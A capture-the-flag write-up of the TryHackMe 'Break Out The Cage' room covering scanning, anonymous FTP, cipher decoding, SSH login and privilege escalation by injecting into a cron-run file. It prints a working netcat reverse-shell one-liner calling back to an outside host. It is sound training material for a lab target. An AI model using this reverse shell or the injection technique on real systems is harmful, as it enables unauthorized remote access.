> For the complete documentation index, see [llms.txt](https://writeups.adityadindi.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://writeups.adityadindi.com/tryhackme/untitled/break-out-the-cage.md).

# Break Out The Cage

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_9q7b6bERvlwKWgVh%2F-Mc_gO-d_U-NjDklPL15%2Fimage.png?alt=media\&token=bd44de43-f7b5-4508-abcd-2688238914c7)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.96.253
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_gPUKW7k3u9LjpSha%2F-Mc_go0lKUWN1_HtivwB%2Fimage.png?alt=media\&token=04888048-1ac3-4076-b6d1-43c32897f038)

Detailed Nmap Scan : 

Command Breakdown: 

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 21,22,80
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 21,22,80 -oN nmap 10.10.96.253
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_gPUKW7k3u9LjpSha%2F-Mc_gvBB95Ee5LtYU1Zz%2Fimage.png?alt=media\&token=39e9ad66-4ecc-4f98-b87c-622b226dea27)

## Enumeration

### Port 21: FTP

Anonymous login is allowed, so lets go check it out and download the files on the server

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_gwWSJx7I9hiduOcf%2F-Mc_hZwWRw_Ng05qhNPs%2Fimage.png?alt=media\&token=d5fd0cf2-b064-4dad-b77b-cb627124a6ed)

Lets read the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_gwWSJx7I9hiduOcf%2F-Mc_hh8C7jG5H4WCH23T%2Fimage.png?alt=media\&token=21024aba-f350-4001-b83b-d1ab5f52c4cd)

Looks like its encrypted, lets crack it using [CyberChef](https://gchq.github.io/CyberChef/)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_gwWSJx7I9hiduOcf%2F-Mc_i6K92LJk-gwj_gEh%2Fimage.png?alt=media\&token=c6788d78-9c11-4368-a60f-b5298f678ce4)

It looks like it has been encrypted twice, lets find out what this says too.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_q90nkF1eilFMy1Pj%2Fimage.png?alt=media\&token=dbff2a3e-14f2-48a7-9cc1-ef00e2b42e9a)

This looks like a password, we can try logging into SSH but lets first check Port 80: HTTP

### Port 80: HTTP

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_gwWSJx7I9hiduOcf%2F-Mc_j-SWvbIZYGReGm9T%2Fimage.png?alt=media\&token=22e4741a-6c65-40f2-bba0-44da93c62549)

Looking at the page, we have a username: `Weston`. None of the links on the page work, so lets `gobuster` to find hidden directories.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.96.253/
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_oJEGTRk4sGsthu5J%2Fimage.png?alt=media\&token=84cb9c8c-a099-4f26-b7e8-f91837b0a7b8)

There is nothing of interest in the `/scripts` file, the `/contracts` directory has an empty file. The auditions has a interesting file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_oZE0o5jB_1pB8pJt%2Fimage.png?alt=media\&token=97f51fc3-c89d-41f3-b9ba-ea53585ff366)

Lets download this to our machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_oojra9yRu-OH31rQ%2Fimage.png?alt=media\&token=4f7b8ebc-3b91-4ac4-b0df-6747a71dccb1)

We can look at this file with a tool called `Sonic Visualizer`, lets open the file in the app.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_rHT97PfA7wOdrkb2%2Fimage.png?alt=media\&token=b303b7aa-3d38-4eac-93a7-0271e29a6d5a)

Now go to pane and then go to `Add Spectrogram` click the first option , we are doing this to add a spectrogram so that we can look at hidden data.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_szmkDlXt46_MtHLM%2Fimage.png?alt=media\&token=a6d47c99-f234-4e02-a61b-5ba9e02e0aba)

We can see a box, lets see what is says.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_tBgQPnMbmPAeGn-x%2Fimage.png?alt=media\&token=567c5efb-f816-4d59-8297-11ee2e8ed798)

After changing the color to get a better visual, we can see that it says `namelesstwo`. Checking around I found out that this is the key for the vignenere cipher that we can use to crack the text we found before.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_tgYitDjQ2182oO6J%2Fimage.png?alt=media\&token=3690cc0c-ec63-4c89-a2d5-00a809e8cce9)

We have the same text we found before, lets login through ssh now with the username we found in the start `Weston`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_u3tEkpnR9qhvLJJ3%2Fimage.png?alt=media\&token=bd2021be-1941-48ff-a18c-85e01b4c70eb)

As the password worked, we can answer the first question

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_uI3mJ_U7TYCgp0I3%2Fimage.png?alt=media\&token=e0c4bf79-d99d-440e-8cad-308328ea0712)

## Privilege Escalation

I was looking around when a message popped up.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_uX1AM4alDafOGiHA%2Fimage.png?alt=media\&token=c6e89095-e0ee-4a56-9372-59d697c78f9e)

It looks like there is a cronjob running that executes this script every few minutes, lets go find it. I was searching for a while and could not find it, so lets transfer a tool onto this machine called [pspy ](https://github.com/DominicBreuker/pspy)and have it find the `cron` file.

To transfer this file, lets start a http listener on our machine and download the file on the victim machine wget. If you just downloaded it, make sure to make it an executable.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_w_G0SjXhQnwC8WNE%2Fimage.png?alt=media\&token=a17b7dcd-b14f-443e-ab17-87b541916c14)

Now lets start a http server.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_wghdmITesU98GTJr%2Fimage.png?alt=media\&token=1349512b-5dc7-4e66-ae6f-8c8aabfe9598)

Now lets download the file on the victims machine.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_wtlhO4cP5ogdOxvZ%2Fimage.png?alt=media\&token=e337e509-2331-4d94-b7b2-1114963f7394)

Lets make the file an executable

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_x-C7XwKkkh6miW0t%2Fimage.png?alt=media\&token=6c44d76d-cd2e-4f05-a3ff-d85fe88b4b78)

Now run the file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_x9g3kxDVn1dN95yl%2Fimage.png?alt=media\&token=fc05ef15-fd9b-493c-a902-43241a76a132)

Looking through the output we find an interesting file which may be the one we are looking for.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_xWS0xe7yX36wlPIe%2Fimage.png?alt=media\&token=37fdb206-6df0-48f0-82d6-8bee4234fee6)

Lets check this file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_kjLC4eA36O6mvf8Q%2F-Mc_xdkp1Jur2cc-OdRM%2Fimage.png?alt=media\&token=9c3591b9-b57b-4511-8941-367933190f7d)

Lets add a reverse shell to the file .quotes (As the .quotes file is being printed every few minutes) so that we can get a higher privileged user access, that is the owner of the file `./opt/.dads_scripts/.files/.quotes` **`cage`**. We can see this when we look at the permissions of the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_xf6gSXvID7FEGGF9%2F-Mc_yrcQvbKbnK47zA0L%2Fimage.png?alt=media\&token=c39ae92f-70e3-4c04-879c-a58a7b6dd61d)

The reverse shell we will be using is this

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
```

Lets echo the reverse shell into the file and start a netcat listener 

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McaDuxIgwr7vpahXqli%2F-McaEbr6REtLaFndrpJF%2Fimage.png?alt=media\&token=3ff80e7f-77d7-4f59-9127-1b972fd784f6)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_xf6gSXvID7FEGGF9%2F-Mc_z7xqSIh8BybaOEyX%2Fimage.png?alt=media\&token=c501c19a-8b23-4015-a463-06fa782402b8)

After a while, you should get a reverse shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_xf6gSXvID7FEGGF9%2F-Mca-dAeY1NvYey3HWFR%2Fimage.png?alt=media\&token=9270aecd-83e3-4c28-b1f1-bcb43b54ce14)

Lets stabilize the shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_xf6gSXvID7FEGGF9%2F-Mca-tDIAZqCZ1-R7_Aa%2Fimage.png?alt=media\&token=71ebe951-705d-4e1e-a34d-ec0b04fe7d10)

Lets read the file in this directory

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_xf6gSXvID7FEGGF9%2F-Mca0Bm_n_Myk6E-HlQW%2Fimage.png?alt=media\&token=bb2d67e6-c37e-441e-9a2a-740ff2e7c92d)

We have the user flag.

Next lets cd into the email backup folder and read all the files

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_xf6gSXvID7FEGGF9%2F-McaBbvMVj4Gp4fSlbqX%2Fimage.png?alt=media\&token=3b9abb9f-a6ba-4e95-99db-871d6d45f323)

Looking through the files, the only interesting thing I found is the string in the third email and the number of times the word `FACE` has been used, this might be something that will help us, now lets copy it and try to crack it using Cyber Chef.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_xf6gSXvID7FEGGF9%2F-McaCAaCRJ1l3047v3Pl%2Fimage.png?alt=media\&token=ed976e9a-c13f-45ce-92bc-9b6d92ec1205)

So `FACE` was actually the Key to crack this password, this is the password for the root account, lets switch users and read the root flag.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mc_xf6gSXvID7FEGGF9%2F-McaDtCHgjf1XvW7Xlpd%2Fimage.png?alt=media\&token=71a73d66-4edb-4f62-ac15-56be68996d6d)